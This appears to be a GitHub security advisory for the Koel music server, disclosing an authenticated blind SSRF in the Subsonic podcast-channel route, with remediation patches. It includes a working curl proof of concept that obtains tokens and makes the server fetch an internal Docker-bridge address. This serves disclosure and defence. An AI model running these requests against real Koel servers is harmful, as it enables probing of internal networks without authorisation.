GHSA-w79m-f3jx-779v
Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | phanan/koel | < 9.7.0 | 9.7.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Koel `v9.6.0` protects the regular podcast subscription API with `SafeUrl`, but the Subsonic-compatible `createPodcastChannel.view` route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing.
This was validated against `v9.6.0` (`352ea5ec27fa22294da8fb6beacb3d5552f0d09c`) using the official `phanan/koel:9.6.0` image.
This is distinct from `GHSA-7j2f-6h2r-6cqc`, which fixed unsafe episode enclosure URLs in versions `<= 9.3.4`. The issue here is a newer validation gap in the Subsonic route itself, still present in `v9.6.0`.
### Details
#### SafeUrl protects the regular podcast API only
The regular podcast subscription path validates the feed URL with `SafeUrl`:
- `app/Http/Requests/API/Podcast/PodcastStoreRequest.php`
```php
return [
'url' => ['required', 'url', new SafeUrl()],
];
```
The Subsonic-compatible route does not:
- `routes/subsonic.php`
- `createPodcastChannel.view`
- `app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php`
```php
return [
'url' => ['required', 'string', 'url'],
];
```
That creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them.
#### The URL is fetched immediately by the podcast parser
The attacker-controlled URL is used by the podcast service during channel creation:
- `app/Http/Controllers/Subsonic/CreatePodcastChannelController.php`
- `app/Services/Podcast/PodcastService.php`
`PodcastService::addPodcast()` calls:
```php
$parser = $this->createParser($url);
```
and `createParser()` resolves to:
```php
return Poddle::fromUrl($url, 5 * 60, $this->client);
```
This means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed.
#### This bypasses Koel's intended SSRF control for podcast URLs
Koel already added `SafeUrl` to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations.
### PoC
The following steps were validated against the official `phanan/koel:9.6.0` image.
1. Authenticate and obtain an API token:
```bash
API_TOKEN=$(
curl -sS -X POST http://127.0.0.1:18081/api/me \
-H 'Content-Type: application/json' \
--data '{"email":"[email protected]","password":"KoelIsCool"}' \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
```
2. Obtain the user's Subsonic API key:
```bash
SUBSONIC_KEY=$(
curl -sS http://127.0.0.1:18081/api/data \
-H "Authorization: Bearer $API_TOKEN" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
```
3. Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge:
```bash
TARGET_URL="http://172.17.0.1:18090/feed.xml?run=1"
```
4. Confirm the regular web API blocks the URL:
```bash
curl -i -X POST http://127.0.0.1:18081/api/podcasts \
-H "Authorization: Bearer $API_TOKEN" \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
--data "{\"url\":\"$TARGET_URL\"}"
```
Expected result:
- HTTP `422`
- Error includes `The url must point to a public URL.`
5. Trigger the Subsonic route with the same URL:
```bash
curl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \
--data-urlencode "apiKey=$SUBSONIC_KEY" \
--data-urlencode 'f=json' \
--data-urlencode "url=$TARGET_URL"
```
Expected result:
- HTTP `200`
- JSON includes `"status":"ok"`
6. Confirm the server-side request happened by checking the internal HTTP service logs.
During validation, the local HTTP test server received `HEAD` and `GET ` requests for `/feed.xml?run=1`.
### Impact
An authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API.
Validated impact:
- SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server
- Internal service discovery and request execution through the podcast parser
Generic response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution.
### Remediation
The Subsonic podcast request validator should apply `SafeUrl`, and the parser entry point should reject unsafe targets as defense in depth.
Suggested patch for `app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php`:
```diff
diff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
--- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
+++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
- 'url' => ['required', 'string', 'url'],
+ 'url' => ['required', 'string', 'url', new SafeUrl()],
];
}
}
```
Suggested defense-in-depth patch for `app/Services/Podcast/PodcastService.php`:
```diff
diff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php
--- a/app/Services/Podcast/PodcastService.php
+++ b/app/Services/Podcast/PodcastService.php
@@
private function createParser(string $url): Poddle
{
+ if (!$this->network->isSafeUrl($url)) {
+ throw FailedToParsePodcastFeedException::create($url);
+ }
+
return Poddle::fromUrl($url, 5 * 60, $this->client);
}
}
```
References
External links from the advisory. They lead to third-party sites.